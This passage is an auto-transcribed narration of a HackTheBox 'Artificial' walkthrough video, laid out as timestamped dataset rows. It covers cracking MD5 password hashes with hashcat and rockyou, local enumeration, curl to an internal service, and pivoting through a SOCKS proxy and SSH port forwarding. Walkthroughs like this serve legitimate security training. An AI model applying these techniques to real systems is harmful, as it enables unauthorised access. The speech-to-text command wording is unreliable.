And that fixes it. So, now when I do a long line, it doesn't start wrapping down prematurely. But we now have a list of hashes. So, let's go ahead and try to crack these. So, let's go to um the Kraken. This is just a box I have on my local network. I don't recommend if you're running hashcat just do it on your host mac... | 640.16 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Let's see. | 677.76 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Uh, percent s. Do I not escape? Okay, I was not supposed to escape the pipe. There we go. So, can't open file for writing. | 683.04 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
What? | 696.16 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Um, is my disc full? It is not artificial MD5 sum. Paste save. | 701.92 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Um do I have a file system error or something? Mount D- O Remount RW slash touch hashes temp. | 717.279 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Oh wait, I did not go to my hashcat directory. There we go. That was embarrassing, but oh well. Let's do percent s pipe colon like that. Save. Awesome. | 735.76 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
So let's do dot /hashcat um that file opt word list rocku and it's going to probably have a bunch of like hash collisions because this could be many things. Um we also have to give it the d- user flag because we have username colon the hash. Um but we're guessing this is probably going to be MD5 hash. So let's do um mo... | 751.279 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
apef-us to look at running processes. And we only see the processes on our user. If I cat etsy fs tab, we can see that the proc is mounted with hide pit equals 2. | 838.639 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
And that's what um prevents us from seeing other users processes. So we can't do that. We could do an SSLTP and look at other ports listening. We see port 9898 is listening. So I'm going to just do a curl 127 001 9898. | 852.32 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Uh we have a binary file. Let's do o dash. Um this is odd. We see index html. So I'm guessing this is web but we got junk. Um let's do dashv. Okay. It's encoding it in gzip. So that's why we don't really see it. It's in gzip format, so that's kind of expected. So, this is a web server. Um, the other thing I like doing ... | 872.639 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
We have systemd system back rest service. So that is what is listing here. It is going to be an application called back rest. We can just cat it to see if it gives us any information. Um doesn't look like it. We have the config right here. See if we can read this config. Cat slash permission denied. So can't really rea... | 921.76 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Unable to connect. probably because it's going through the sock proxy and trying to connect to that IP. Uh 001. This may not work because I'm not sure if my um proxies configured to like ignore 127001. Nope, it seems to work. Awesome. So, we sent it through the sock proxy and then we're hitting 127001 98898. | 972.72 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Um, another thing you could do is like a local port forward. So we could um do like -L and then say um 9898127001 9898. And what that would do is open 98.98 on my box and then forward it through the SSH session. It would be open up 9898 on my box and then for it through the SSH session and hit this. Right? If we look a... | 1,000.16 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Uh, let's do L-L 9009 when we did 9889 9898. | 1,040.319 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.